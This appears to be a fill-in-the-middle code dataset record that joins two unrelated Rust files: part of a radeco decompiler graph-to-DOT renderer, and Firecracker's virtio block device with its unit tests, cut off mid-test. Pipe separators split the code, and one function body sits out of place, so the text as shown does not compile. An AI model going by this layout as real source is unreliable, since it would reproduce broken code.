self.g.node_indices().collect()
}
fn edges(&self) -> Vec<Self::EdgeIndex> {
self.g.edge_references().map(|x| x.id()).collect()
}
fn node_count(&self) -> usize {
self.g.node_count()
}
fn edge_count(&self) -> usize {
self.g.edge_count()
}
fn node_index_new(i: usize) -> Self::NodeIndex {
graph::NodeIndex::new(i)
}
fn edge_index_new(i: usize) -> Self::EdgeIndex {
graph::EdgeIndex::new(i)
}
fn node_cluster(&self, i: &Self::NodeIndex) -> Option<usize> {
let invalid_block = self.invalid_action().expect("Invalid Action is not defined");
match self.g.node_weight(*i) {
Some(&NodeData::BasicBlock(_, _)) | Some(&NodeData::DynamicAction) => Some(i.index()),
_ => Some(self.block_for(*i).unwrap_or(invalid_block).index()),
}
}
fn edge_source(&self, i: &Self::EdgeIndex) -> Self::NodeIndex {
let edge_opt = &self.g.edge_references().find(|x| x.id() == *i);
if edge_opt.is_none() {
radeco_err!("Invalid edge index");
return NodeIndex::end();
};
let edge = edge_opt.unwrap();
match *edge.weight() {
EdgeData::Data(_) => edge.target(),
_ => edge.source(),
}
}
fn edge_target(&self, i: &Self::EdgeIndex) -> Self::NodeIndex {
let edge_opt = &self.g.edge_references().find(|x| x.id() == *i);
if edge_opt.is_none() {
radeco_err!("Invalid edge index");
return NodeIndex::end();
};
let edge = edge_opt.unwrap();
match *edge.weight() {
EdgeData::Data(_) => edge.source(),
_ => edge.target(),
}
}
fn edge_skip(&self, i: &Self::EdgeIndex) -> bool |
// TODO: Ordering of clusters for ssa is kind of hacky and may not run top to
// bottom in some
// cases.
fn edge_attrs(&self, i: &Self::EdgeIndex) -> DotAttrBlock {
let edge_opt = &self.g.edge_references().find(|x| x.id() == *i);
if edge_opt.is_none() {
radeco_err!("Invalid edge index");
return DotAttrBlock::Raw(String::new());
};
let edge = edge_opt.unwrap();
let mut prefix = String::new();
let src = edge.source();
let target = edge.target();
prefix.push_str(&format!("n{} -> n{}",
src.index(),
target.index()));
let target_is_bb = if let NodeData::BasicBlock(_, _) = self.g[edge.target()] {
true
} else {
false
};
let attr = match *edge.weight() {
EdgeData::Control(_) if !target_is_bb => {
vec![("color".to_string(), "red".to_string())]
}
EdgeData::Control(i) => {
// Determine the source and destination clusters.
let source_cluster = edge.source().index();
let dst_cluster = edge.target().index();
let (color, label) = match i {
0 => ("red", "F"),
1 => ("green", "T"),
2 => ("blue", "U"),
_ => unreachable!(),
};
vec![("color".to_string(), color.to_string()),
("xlabel".to_string(), label.to_string()),
("ltail".to_string(), format!("cluster_{}", source_cluster)),
("lhead".to_string(), format!("cluster_{}", dst_cluster)),
("minlen".to_string(), "9".to_owned())]
}
EdgeData::Data(i) => {
vec![("dir".to_string(), "back".to_string()),
("xlabel".to_string(), format!("{}", i))]
}
EdgeData::ContainedInBB(_) => {
vec![("color".to_string(), "gray".to_string())]
}
EdgeData::Selector => {
vec![("color".to_string(), "purple".to_string())]
}
EdgeData::ReplacedBy => {
vec![("color".to_string(), "brown".to_string())]
}
EdgeData::RegisterInfo => {
vec![("color".to_string(), "yellow".to_string())]
}
EdgeData::RegisterState => unreachable!(),
};
DotAttrBlock::Hybrid(prefix, attr)
}
fn node_attrs(&self, i: &Self::NodeIndex) -> DotAttrBlock {
let node = &self.g[*i];
let mut prefix = String::new();
prefix.push_str(&format!("n{}", i.index()));
let attr = match *node {
NodeData::Op(ref opc, vi) => {
let w = vi.width().get_width().unwrap_or(64);
let mut attrs = Vec::new();
let mut r = String::new();
let addr = self.addr(i);
if addr.is_some() {
r.push_str(&format!("<<font color=\"grey50\">{}: </font>",
addr.as_ref().unwrap()))
}
r.push_str(&format!("\"[i{}] {:?}\"", w, opc));
if addr.is_some() {
r.push_str(">");
}
if let MOpcode::OpConst(_) = *opc {
attrs.push(("style".to_owned(), "filled".to_owned()));
attrs.push(("color".to_owned(), "black".to_owned()));
attrs.push(("fillcolor".to_owned(), "yellow".to_owned()));
}
if self.is_marked(i) {
attrs.push(("label".to_string(), r));
attrs.push(("style".to_owned(), "filled".to_owned()));
attrs.push(("color".to_owned(), "black".to_owned()));
attrs.push(("fillcolor".to_owned(), "green".to_owned()));
} else {
attrs.push(("fillcolor".to_owned(), "white".to_owned()));
}
attrs
}
NodeData::BasicBlock(addr, _) => {
let label_str = format!("<<font color=\"grey50\">Basic Block \
Information<br/>Start Address: {}</font>>",
addr);
let mut attrs = Vec::new();
if let Some(e) = self.entry_node() {
if *i == e {
attrs.push(("rank".to_string(), "min".to_string()));
}
};
attrs.extend([("style".to_string(), "filled".to_string()),
("fillcolor".to_string(), "white".to_string()),
("label".to_string(), label_str),
("shape".to_string(), "box".to_string()),
("color".to_string(), "\"grey\"".to_string()),]
.iter()
.cloned());
attrs
}
NodeData::Comment(_, ref msg) => {
vec![("label".to_string(),
format!("\"{}\"", msg.replace("\"", "\\\""))),
("shape".to_owned(), "box".to_owned()),
("style".to_owned(), "filled".to_owned()),
("color".to_owned(), "black".to_owned()),
("fillcolor".to_owned(), "greenyellow".to_owned())]
}
NodeData::Phi(_, _) => {
let mut attrs = Vec::new();
let mut label = format!("{:?}", node);
label = label.replace("\"", "\\\"");
label = format!("\"{}\"", label);
if let Some(addr) = self.addr(i) {
label = format!("<<font color=\"black\">{}: </font> {}>", addr, label);
}
attrs.push(("label".to_string(), label));
attrs.push(("style".to_owned(), "filled".to_owned()));
attrs.push(("color".to_owned(), "black".to_owned()));
if self.is_marked(i) {
attrs.push(("fillcolor".to_owned(), "green".to_owned()));
} else {
attrs.push(("fillcolor".to_owned(), "orange".to_owned()));
}
attrs
}
_ => {
let mut attrs = Vec::new();
let mut label = format!("{:?}", node);
label = label.replace("\"", "\\\"");
label = format!("\"{}\"", label);
if let Some(addr) = self.addr(i) {
label = format!("<<font color=\"grey50\">{}: </font> {}>", addr, label);
}
attrs.push(("label".to_string(), label));
attrs.push(("style".to_owned(), "filled".to_owned()));
attrs.push(("color".to_owned(), "black".to_owned()));
if self.is_marked(i) {
attrs.push(("fillcolor".to_owned(), "green".to_owned()));
} else {
attrs.push(("fillcolor".to_owned(), "grey90".to_owned()));
}
attrs
}
};
DotAttrBlock::Hybrid(prefix, attr)
}
}
| {
let edge_opt = &self.g.edge_references().find(|x| x.id() == *i);
if edge_opt.is_none() {
radeco_err!("Invalid edge index");
return false;
};
let edge = edge_opt.unwrap();
match *edge.weight() {
EdgeData::ContainedInBB(_) | EdgeData::RegisterState => true,
_ => false,
}
} |
block.rs | // Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
// SPDX-License-Identifier: Apache-2.0
//
// Portions Copyright 2017 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the THIRD-PARTY file.
use epoll;
use std::cmp; | use std::convert::From;
use std::fs::File;
use std::io::{self, Read, Seek, SeekFrom, Write};
use std::os::linux::fs::MetadataExt;
use std::os::unix::io::{AsRawFd, RawFd};
use std::result;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::mpsc;
use std::sync::Arc;
use logger::{Metric, METRICS};
use memory_model::{DataInit, GuestAddress, GuestMemory, GuestMemoryError};
use rate_limiter::{RateLimiter, TokenType};
use utils::eventfd::EventFd;
use virtio_gen::virtio_blk::*;
use super::{
ActivateError, ActivateResult, DescriptorChain, EpollConfigConstructor, Queue, VirtioDevice,
TYPE_BLOCK, VIRTIO_MMIO_INT_VRING,
};
use crate::{DeviceEventT, EpollHandler, Error as DeviceError};
const CONFIG_SPACE_SIZE: usize = 8;
const SECTOR_SHIFT: u8 = 9;
pub const SECTOR_SIZE: u64 = (0x01 as u64) << SECTOR_SHIFT;
const QUEUE_SIZE: u16 = 256;
const NUM_QUEUES: usize = 1;
const QUEUE_SIZES: &[u16] = &[QUEUE_SIZE];
// New descriptors are pending on the virtio queue.
const QUEUE_AVAIL_EVENT: DeviceEventT = 0;
// Rate limiter budget is now available.
const RATE_LIMITER_EVENT: DeviceEventT = 1;
// Number of DeviceEventT events supported by this implementation.
pub const BLOCK_EVENTS_COUNT: usize = 2;
#[derive(Debug)]
enum Error {
/// Guest gave us bad memory addresses.
GuestMemory(GuestMemoryError),
/// Guest gave us a write only descriptor that protocol says to read from.
UnexpectedWriteOnlyDescriptor,
/// Guest gave us a read only descriptor that protocol says to write to.
UnexpectedReadOnlyDescriptor,
/// Guest gave us too few descriptors in a descriptor chain.
DescriptorChainTooShort,
/// Guest gave us a descriptor that was too short to use.
DescriptorLengthTooSmall,
/// Getting a block's metadata fails for any reason.
GetFileMetadata,
/// The requested operation would cause a seek beyond disk end.
InvalidOffset,
}
#[derive(Debug)]
enum ExecuteError {
BadRequest(Error),
Flush(io::Error),
Read(GuestMemoryError),
Seek(io::Error),
Write(GuestMemoryError),
Unsupported(u32),
}
impl ExecuteError {
fn status(&self) -> u32 {
match *self {
ExecuteError::BadRequest(_) => VIRTIO_BLK_S_IOERR,
ExecuteError::Flush(_) => VIRTIO_BLK_S_IOERR,
ExecuteError::Read(_) => VIRTIO_BLK_S_IOERR,
ExecuteError::Seek(_) => VIRTIO_BLK_S_IOERR,
ExecuteError::Write(_) => VIRTIO_BLK_S_IOERR,
ExecuteError::Unsupported(_) => VIRTIO_BLK_S_UNSUPP,
}
}
}
#[derive(Clone, Copy, Debug, PartialEq)]
enum RequestType {
In,
Out,
Flush,
GetDeviceID,
Unsupported(u32),
}
impl From<u32> for RequestType {
fn from(value: u32) -> Self {
match value {
VIRTIO_BLK_T_IN => RequestType::In,
VIRTIO_BLK_T_OUT => RequestType::Out,
VIRTIO_BLK_T_FLUSH => RequestType::Flush,
VIRTIO_BLK_T_GET_ID => RequestType::GetDeviceID,
t => RequestType::Unsupported(t),
}
}
}
fn build_device_id(disk_image: &File) -> result::Result<String, Error> {
let blk_metadata = match disk_image.metadata() {
Err(_) => return Err(Error::GetFileMetadata),
Ok(m) => m,
};
// This is how kvmtool does it.
let device_id = format!(
"{}{}{}",
blk_metadata.st_dev(),
blk_metadata.st_rdev(),
blk_metadata.st_ino()
)
.to_owned();
Ok(device_id)
}
fn build_disk_image_id(disk_image: &File) -> Vec<u8> {
let mut default_disk_image_id = vec![0; VIRTIO_BLK_ID_BYTES as usize];
match build_device_id(disk_image) {
Err(_) => {
warn!("Could not generate device id. We'll use a default.");
}
Ok(m) => {
// The kernel only knows to read a maximum of VIRTIO_BLK_ID_BYTES.
// This will also zero out any leftover bytes.
let disk_id = m.as_bytes();
let bytes_to_copy = cmp::min(disk_id.len(), VIRTIO_BLK_ID_BYTES as usize);
default_disk_image_id[..bytes_to_copy].clone_from_slice(&disk_id[..bytes_to_copy])
}
}
default_disk_image_id
}
struct Request {
request_type: RequestType,
sector: u64,
data_addr: GuestAddress,
data_len: u32,
status_addr: GuestAddress,
}
/// The request header represents the mandatory fields of each block device request.
///
/// A request header contains the following fields:
/// * request_type: an u32 value mapping to a read, write or flush operation.
/// * reserved: 32 bits are reserved for future extensions of the Virtio Spec.
/// * sector: an u64 value representing the offset where a read/write is to occur.
///
/// The header simplifies reading the request from memory as all request follow
/// the same memory layout.
#[derive(Copy, Clone)]
#[repr(C)]
struct RequestHeader {
request_type: u32,
_reserved: u32,
sector: u64,
}
// Safe because RequestHeader only contains plain data.
unsafe impl DataInit for RequestHeader {}
impl RequestHeader {
/// Reads the request header from GuestMemory starting at `addr`.
///
/// Virtio 1.0 specifies that the data is transmitted by the driver in little-endian
/// format. Firecracker currently runs only on little endian platforms so we don't
/// need to do an explicit little endian read as all reads are little endian by default.
/// When running on a big endian platform, this code should not compile, and support
/// for explicit little endian reads is required.
#[cfg(target_endian = "little")]
fn read_from(memory: &GuestMemory, addr: GuestAddress) -> result::Result<Self, Error> {
let request_header: RequestHeader = memory
.read_obj_from_addr(addr)
.map_err(Error::GuestMemory)?;
Ok(request_header)
}
}
impl Request {
fn parse(avail_desc: &DescriptorChain, mem: &GuestMemory) -> result::Result<Request, Error> {
// The head contains the request type which MUST be readable.
if avail_desc.is_write_only() {
return Err(Error::UnexpectedWriteOnlyDescriptor);
}
let request_header = RequestHeader::read_from(mem, avail_desc.addr)?;
let mut req = Request {
request_type: RequestType::from(request_header.request_type),
sector: request_header.sector,
data_addr: GuestAddress(0),
data_len: 0,
status_addr: GuestAddress(0),
};
let data_desc;
let status_desc;
let desc = avail_desc
.next_descriptor()
.ok_or(Error::DescriptorChainTooShort)?;
if !desc.has_next() {
status_desc = desc;
// Only flush requests are allowed to skip the data descriptor.
if req.request_type != RequestType::Flush {
return Err(Error::DescriptorChainTooShort);
}
} else {
data_desc = desc;
status_desc = data_desc
.next_descriptor()
.ok_or(Error::DescriptorChainTooShort)?;
if data_desc.is_write_only() && req.request_type == RequestType::Out {
return Err(Error::UnexpectedWriteOnlyDescriptor);
}
if !data_desc.is_write_only() && req.request_type == RequestType::In {
return Err(Error::UnexpectedReadOnlyDescriptor);
}
if !data_desc.is_write_only() && req.request_type == RequestType::GetDeviceID {
return Err(Error::UnexpectedReadOnlyDescriptor);
}
req.data_addr = data_desc.addr;
req.data_len = data_desc.len;
}
// The status MUST always be writable.
if !status_desc.is_write_only() {
return Err(Error::UnexpectedReadOnlyDescriptor);
}
if status_desc.len < 1 {
return Err(Error::DescriptorLengthTooSmall);
}
req.status_addr = status_desc.addr;
Ok(req)
}
fn execute<T: Seek + Read + Write>(
&self,
disk: &mut T,
disk_nsectors: u64,
mem: &GuestMemory,
disk_id: &[u8],
) -> result::Result<u32, ExecuteError> {
let mut top: u64 = u64::from(self.data_len) / SECTOR_SIZE;
if u64::from(self.data_len) % SECTOR_SIZE != 0 {
top += 1;
}
top = top
.checked_add(self.sector)
.ok_or(ExecuteError::BadRequest(Error::InvalidOffset))?;
if top > disk_nsectors {
return Err(ExecuteError::BadRequest(Error::InvalidOffset));
}
disk.seek(SeekFrom::Start(self.sector << SECTOR_SHIFT))
.map_err(ExecuteError::Seek)?;
match self.request_type {
RequestType::In => {
mem.read_to_memory(self.data_addr, disk, self.data_len as usize)
.map_err(ExecuteError::Read)?;
METRICS.block.read_bytes.add(self.data_len as usize);
METRICS.block.read_count.inc();
return Ok(self.data_len);
}
RequestType::Out => {
mem.write_from_memory(self.data_addr, disk, self.data_len as usize)
.map_err(ExecuteError::Write)?;
METRICS.block.write_bytes.add(self.data_len as usize);
METRICS.block.write_count.inc();
}
RequestType::Flush => match disk.flush() {
Ok(_) => {
METRICS.block.flush_count.inc();
return Ok(0);
}
Err(e) => return Err(ExecuteError::Flush(e)),
},
RequestType::GetDeviceID => {
if (self.data_len as usize) < disk_id.len() {
return Err(ExecuteError::BadRequest(Error::InvalidOffset));
}
mem.write_slice_at_addr(disk_id, self.data_addr)
.map_err(ExecuteError::Write)?;
}
RequestType::Unsupported(t) => return Err(ExecuteError::Unsupported(t)),
};
Ok(0)
}
}
/// Handler that drives the execution of the Block devices
pub struct BlockEpollHandler {
queues: Vec<Queue>,
mem: GuestMemory,
disk_image: File,
disk_nsectors: u64,
interrupt_status: Arc<AtomicUsize>,
interrupt_evt: EventFd,
queue_evt: EventFd,
rate_limiter: RateLimiter,
disk_image_id: Vec<u8>,
}
impl BlockEpollHandler {
fn process_queue(&mut self, queue_index: usize) -> bool {
let queue = &mut self.queues[queue_index];
let mut used_any = false;
while let Some(head) = queue.pop(&self.mem) {
let len;
match Request::parse(&head, &self.mem) {
Ok(request) => {
// If limiter.consume() fails it means there is no more TokenType::Ops
// budget and rate limiting is in effect.
if !self.rate_limiter.consume(1, TokenType::Ops) {
// Stop processing the queue and return this descriptor chain to the
// avail ring, for later processing.
queue.undo_pop();
break;
}
// Exercise the rate limiter only if this request is of data transfer type.
if request.request_type == RequestType::In
|| request.request_type == RequestType::Out
{
// If limiter.consume() fails it means there is no more TokenType::Bytes
// budget and rate limiting is in effect.
if !self
.rate_limiter
.consume(u64::from(request.data_len), TokenType::Bytes)
{
// Revert the OPS consume().
self.rate_limiter.manual_replenish(1, TokenType::Ops);
// Stop processing the queue and return this descriptor chain to the
// avail ring, for later processing.
queue.undo_pop();
break;
}
}
let status = match request.execute(
&mut self.disk_image,
self.disk_nsectors,
&self.mem,
&self.disk_image_id,
) {
Ok(l) => {
len = l;
VIRTIO_BLK_S_OK
}
Err(e) => {
error!("Failed to execute request: {:?}", e);
METRICS.block.invalid_reqs_count.inc();
len = 1; // We need at least 1 byte for the status.
e.status()
}
};
// We use unwrap because the request parsing process already checked that the
// status_addr was valid.
self.mem
.write_obj_at_addr(status, request.status_addr)
.unwrap();
}
Err(e) => {
error!("Failed to parse available descriptor chain: {:?}", e);
METRICS.block.execute_fails.inc();
len = 0;
}
}
queue.add_used(&self.mem, head.index, len);
used_any = true;
}
used_any
}
fn signal_used_queue(&self) -> result::Result<(), DeviceError> {
self.interrupt_status
.fetch_or(VIRTIO_MMIO_INT_VRING as usize, Ordering::SeqCst);
self.interrupt_evt.write(1).map_err(|e| {
error!("Failed to signal used queue: {:?}", e);
METRICS.block.event_fails.inc();
DeviceError::FailedSignalingUsedQueue(e)
})
}
/// Update the backing file for the Block device
pub fn update_disk_image(&mut self, disk_image: File) -> result::Result<(), DeviceError> {
self.disk_image = disk_image;
self.disk_nsectors = self
.disk_image
.seek(SeekFrom::End(0))
.map_err(DeviceError::IoError)?
/ SECTOR_SIZE;
self.disk_image_id = build_disk_image_id(&self.disk_image);
METRICS.block.update_count.inc();
Ok(())
}
}
impl EpollHandler for BlockEpollHandler {
fn handle_event(
&mut self,
device_event: DeviceEventT,
_evset: epoll::Events,
) -> result::Result<(), DeviceError> {
match device_event {
QUEUE_AVAIL_EVENT => {
METRICS.block.queue_event_count.inc();
if let Err(e) = self.queue_evt.read() {
error!("Failed to get queue event: {:?}", e);
METRICS.block.event_fails.inc();
Err(DeviceError::FailedReadingQueue {
event_type: "queue event",
underlying: e,
})
} else if !self.rate_limiter.is_blocked() && self.process_queue(0) {
self.signal_used_queue()
} else {
// While limiter is blocked, don't process any more requests.
Ok(())
}
}
RATE_LIMITER_EVENT => {
METRICS.block.rate_limiter_event_count.inc();
// Upon rate limiter event, call the rate limiter handler
// and restart processing the queue.
if self.rate_limiter.event_handler().is_ok() && self.process_queue(0) {
self.signal_used_queue()
} else {
Ok(())
}
}
unknown => Err(DeviceError::UnknownEvent {
device: "block",
event: unknown,
}),
}
}
}
pub struct EpollConfig {
q_avail_token: u64,
rate_limiter_token: u64,
epoll_raw_fd: RawFd,
sender: mpsc::Sender<Box<dyn EpollHandler>>,
}
impl EpollConfigConstructor for EpollConfig {
fn new(
first_token: u64,
epoll_raw_fd: RawFd,
sender: mpsc::Sender<Box<dyn EpollHandler>>,
) -> Self {
EpollConfig {
q_avail_token: first_token + u64::from(QUEUE_AVAIL_EVENT),
rate_limiter_token: first_token + u64::from(RATE_LIMITER_EVENT),
epoll_raw_fd,
sender,
}
}
}
/// Virtio device for exposing block level read/write operations on a host file.
pub struct Block {
disk_image: Option<File>,
disk_nsectors: u64,
avail_features: u64,
acked_features: u64,
config_space: Vec<u8>,
epoll_config: EpollConfig,
rate_limiter: Option<RateLimiter>,
}
pub fn build_config_space(disk_size: u64) -> Vec<u8> {
// We only support disk size, which uses the first two words of the configuration space.
// If the image is not a multiple of the sector size, the tail bits are not exposed.
// The config space is little endian.
let mut config = Vec::with_capacity(CONFIG_SPACE_SIZE);
let num_sectors = disk_size >> SECTOR_SHIFT;
for i in 0..8 {
config.push((num_sectors >> (8 * i)) as u8);
}
config
}
impl Block {
/// Create a new virtio block device that operates on the given file.
///
/// The given file must be seekable and sizable.
pub fn new(
mut disk_image: File,
is_disk_read_only: bool,
epoll_config: EpollConfig,
rate_limiter: Option<RateLimiter>,
) -> io::Result<Block> {
let disk_size = disk_image.seek(SeekFrom::End(0))? as u64;
if disk_size % SECTOR_SIZE != 0 {
warn!(
"Disk size {} is not a multiple of sector size {}; \
the remainder will not be visible to the guest.",
disk_size, SECTOR_SIZE
);
}
let mut avail_features = (1u64 << VIRTIO_F_VERSION_1) | (1u64 << VIRTIO_BLK_F_FLUSH);
if is_disk_read_only {
avail_features |= 1u64 << VIRTIO_BLK_F_RO;
};
Ok(Block {
disk_image: Some(disk_image),
disk_nsectors: disk_size / SECTOR_SIZE,
avail_features,
acked_features: 0u64,
config_space: build_config_space(disk_size),
epoll_config,
rate_limiter,
})
}
}
impl VirtioDevice for Block {
fn device_type(&self) -> u32 {
TYPE_BLOCK
}
fn queue_max_sizes(&self) -> &[u16] {
QUEUE_SIZES
}
fn avail_features(&self) -> u64 {
self.avail_features
}
fn acked_features(&self) -> u64 {
self.acked_features
}
fn set_acked_features(&mut self, acked_features: u64) {
self.acked_features = acked_features;
}
fn read_config(&self, offset: u64, mut data: &mut [u8]) {
let config_len = self.config_space.len() as u64;
if offset >= config_len {
error!("Failed to read config space");
METRICS.block.cfg_fails.inc();
return;
}
if let Some(end) = offset.checked_add(data.len() as u64) {
// This write can't fail, offset and end are checked against config_len.
data.write_all(&self.config_space[offset as usize..cmp::min(end, config_len) as usize])
.unwrap();
}
}
fn write_config(&mut self, offset: u64, data: &[u8]) {
let data_len = data.len() as u64;
let config_len = self.config_space.len() as u64;
if offset + data_len > config_len {
error!("Failed to write config space");
METRICS.block.cfg_fails.inc();
return;
}
let (_, right) = self.config_space.split_at_mut(offset as usize);
right.copy_from_slice(&data[..]);
}
fn activate(
&mut self,
mem: GuestMemory,
interrupt_evt: EventFd,
status: Arc<AtomicUsize>,
queues: Vec<Queue>,
mut queue_evts: Vec<EventFd>,
) -> ActivateResult {
if queues.len() != NUM_QUEUES || queue_evts.len() != NUM_QUEUES {
error!(
"Cannot perform activate. Expected {} queue(s), got {}",
NUM_QUEUES,
queues.len()
);
METRICS.block.activate_fails.inc();
return Err(ActivateError::BadActivate);
}
if let Some(disk_image) = self.disk_image.take() {
let queue_evt = queue_evts.remove(0);
let queue_evt_raw_fd = queue_evt.as_raw_fd();
let disk_image_id = build_disk_image_id(&disk_image);
let handler = BlockEpollHandler {
queues,
mem,
disk_image,
disk_nsectors: self.disk_nsectors,
interrupt_status: status,
interrupt_evt,
queue_evt,
rate_limiter: self.rate_limiter.take().unwrap_or_default(),
disk_image_id,
};
let rate_limiter_rawfd = handler.rate_limiter.as_raw_fd();
// The channel should be open at this point.
self.epoll_config
.sender
.send(Box::new(handler))
.expect("Failed to send through the channel");
//TODO: barrier needed here by any chance?
epoll::ctl(
self.epoll_config.epoll_raw_fd,
epoll::ControlOptions::EPOLL_CTL_ADD,
queue_evt_raw_fd,
epoll::Event::new(epoll::Events::EPOLLIN, self.epoll_config.q_avail_token),
)
.map_err(|e| {
METRICS.block.activate_fails.inc();
ActivateError::EpollCtl(e)
})?;
if rate_limiter_rawfd != -1 {
epoll::ctl(
self.epoll_config.epoll_raw_fd,
epoll::ControlOptions::EPOLL_CTL_ADD,
rate_limiter_rawfd,
epoll::Event::new(epoll::Events::EPOLLIN, self.epoll_config.rate_limiter_token),
)
.map_err(|e| {
METRICS.block.activate_fails.inc();
ActivateError::EpollCtl(e)
})?;
}
return Ok(());
}
METRICS.block.activate_fails.inc();
Err(ActivateError::BadActivate)
}
}
#[cfg(test)]
mod tests {
extern crate tempfile;
use self::tempfile::{tempfile, NamedTempFile};
use super::*;
use libc;
use memory_model::Address;
use std::fs::{metadata, OpenOptions};
use std::sync::mpsc::Receiver;
use std::thread;
use std::time::Duration;
use std::u32;
use crate::virtio::queue::tests::*;
const EPOLLIN: epoll::Events = epoll::Events::EPOLLIN;
/// Will read $metric, run the code in $block, then assert metric has increased by $delta.
macro_rules! check_metric_after_block {
($metric:expr, $delta:expr, $block:expr) => {{
let before = $metric.count();
let _ = $block;
assert_eq!($metric.count(), before + $delta, "unexpected metric value");
}};
}
impl BlockEpollHandler {
fn set_queue(&mut self, idx: usize, q: Queue) {
self.queues[idx] = q;
}
fn get_rate_limiter(&self) -> &RateLimiter {
&self.rate_limiter
}
fn set_rate_limiter(&mut self, rate_limiter: RateLimiter) {
self.rate_limiter = rate_limiter;
}
}
struct DummyBlock {
block: Block,
epoll_raw_fd: i32,
_receiver: Receiver<Box<dyn EpollHandler>>,
}
impl DummyBlock {
fn new(is_disk_read_only: bool) -> Self {
let epoll_raw_fd = epoll::create(true).unwrap();
let (sender, _receiver) = mpsc::channel();
let epoll_config = EpollConfig::new(0, epoll_raw_fd, sender);
let f: File = tempfile().unwrap();
f.set_len(0x1000).unwrap();
// Rate limiting is enabled but with a high operation rate (10 million ops/s).
let rate_limiter = RateLimiter::new(0, None, 0, 100_000, None, 10).unwrap();
DummyBlock {
block: Block::new(f, is_disk_read_only, epoll_config, Some(rate_limiter)).unwrap(),
epoll_raw_fd,
_receiver,
}
}
fn block(&mut self) -> &mut Block {
&mut self.block
}
}
impl Drop for DummyBlock {
fn drop(&mut self) {
unsafe { libc::close(self.epoll_raw_fd) };
}
}
fn default_test_blockepollhandler(mem: &GuestMemory) -> (BlockEpollHandler, VirtQueue) {
let mut dummy = DummyBlock::new(false);
let b = dummy.block();
let vq = VirtQueue::new(GuestAddress(0), &mem, 16);
assert!(vq.end().0 < 0x1000);
let queues = vec![vq.create_queue()];
let mut disk_image = b.disk_image.take().unwrap();
let disk_nsectors = disk_image.seek(SeekFrom::End(0)).unwrap() / SECTOR_SIZE;
let status = Arc::new(AtomicUsize::new(0));
let interrupt_evt = EventFd::new(libc::EFD_NONBLOCK).unwrap();
let queue_evt = EventFd::new(libc::EFD_NONBLOCK).unwrap();
let disk_image_id_str = build_device_id(&disk_image).unwrap();
let mut disk_image_id = vec![0; VIRTIO_BLK_ID_BYTES as usize];
let disk_image_id_bytes = disk_image_id_str.as_bytes();
let bytes_to_copy = cmp::min(disk_image_id_bytes.len(), VIRTIO_BLK_ID_BYTES as usize);
disk_image_id[..bytes_to_copy].clone_from_slice(&disk_image_id_bytes[..bytes_to_copy]);
(
BlockEpollHandler {
queues,
mem: mem.clone(),
disk_image,
disk_nsectors,
interrupt_status: status,
interrupt_evt,
queue_evt,
rate_limiter: RateLimiter::default(),
disk_image_id,
},
vq,
)
}
// Helper function for varying the parameters of the function activating a block device.
fn activate_block_with_modifiers(
b: &mut Block,
bad_qlen: bool,
bad_evtlen: bool,
) -> ActivateResult {
let m = GuestMemory::new(&[(GuestAddress(0), 0x1000)]).unwrap();
let ievt = EventFd::new(libc::EFD_NONBLOCK).unwrap();
let stat = Arc::new(AtomicUsize::new(0));
let vq = VirtQueue::new(GuestAddress(0), &m, 16);
let mut queues = vec![vq.create_queue()];
let mut queue_evts = vec![EventFd::new(libc::EFD_NONBLOCK).unwrap()];
// Invalidate queues list to test this failure case.
if bad_qlen {
queues.pop();
}
// Invalidate queue-events list to test this failure case.
if bad_evtlen {
queue_evts.pop();
}
b.activate(m.clone(), ievt, stat, queues, queue_evts)
}
fn invoke_handler_for_queue_event(h: &mut BlockEpollHandler) {
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
// trigger the queue event
h.queue_evt.write(1).unwrap();
// handle event
h.handle_event(QUEUE_AVAIL_EVENT, EPOLLIN).unwrap();
// validate the queue operation finished successfully
assert_eq!(h.interrupt_evt.read().unwrap(), 2);
}
// Writes at address 0x0 the request_type, reserved, sector.
fn write_request_header(mem: &GuestMemory, request_type: u32, sector: u64) {
let addr = GuestAddress(0);
mem.write_obj_at_addr::<u32>(request_type, addr).unwrap();
mem.write_obj_at_addr::<u64>(sector, addr.checked_add(8).unwrap())
.unwrap();
}
#[test]
fn test_read_request_header() {
let mem = GuestMemory::new(&[(GuestAddress(0), 0x1000)]).unwrap();
let addr = GuestAddress(0);
let sector = 123_454_321;
// Test that all supported request types are read correctly from memory.
let supported_request_types = vec![
VIRTIO_BLK_T_IN,
VIRTIO_BLK_T_OUT,
VIRTIO_BLK_T_FLUSH,
VIRTIO_BLK_T_GET_ID,
];
for request_type in supported_request_types {
write_request_header(&mem, request_type, sector);
let request_header = RequestHeader::read_from(&mem, addr).unwrap();
assert_eq!(request_header.request_type, request_type);
assert_eq!(request_header.sector, sector);
}
// Test that trying to read a request header that goes outside of the
// memory boundary fails.
assert!(RequestHeader::read_from(&mem, GuestAddress(0x1000)).is_err());
}
#[test]
fn test_request_type_from() {
assert_eq!(RequestType::from(VIRTIO_BLK_T_IN), RequestType::In);
assert_eq!(RequestType::from(VIRTIO_BLK_T_OUT), RequestType::Out);
assert_eq!(RequestType::from(VIRTIO_BLK_T_FLUSH), RequestType::Flush);
assert_eq!(
RequestType::from(VIRTIO_BLK_T_GET_ID),
RequestType::GetDeviceID
);
assert_eq!(RequestType::from(42), RequestType::Unsupported(42));
}
#[test]
fn test_parse() {
let m = &GuestMemory::new(&[(GuestAddress(0), 0x10000)]).unwrap();
let vq = VirtQueue::new(GuestAddress(0), &m, 16);
assert!(vq.end().0 < 0x1000);
vq.avail.ring[0].set(0);
vq.avail.idx.set(1);
{
let mut q = vq.create_queue();
// write only request type descriptor
vq.dtable[0].set(0x1000, 0x1000, VIRTQ_DESC_F_WRITE, 1);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_OUT, GuestAddress(0x1000))
.unwrap();
m.write_obj_at_addr::<u64>(114, GuestAddress(0x1000 + 8))
.unwrap();
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::UnexpectedWriteOnlyDescriptor) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// chain too short; no data_desc
vq.dtable[0].flags.set(0);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::DescriptorChainTooShort) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// chain too short; no status desc
vq.dtable[0].flags.set(VIRTQ_DESC_F_NEXT);
vq.dtable[1].set(0x2000, 0x1000, 0, 2);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::DescriptorChainTooShort) => true,
_ => false,
});
}
{
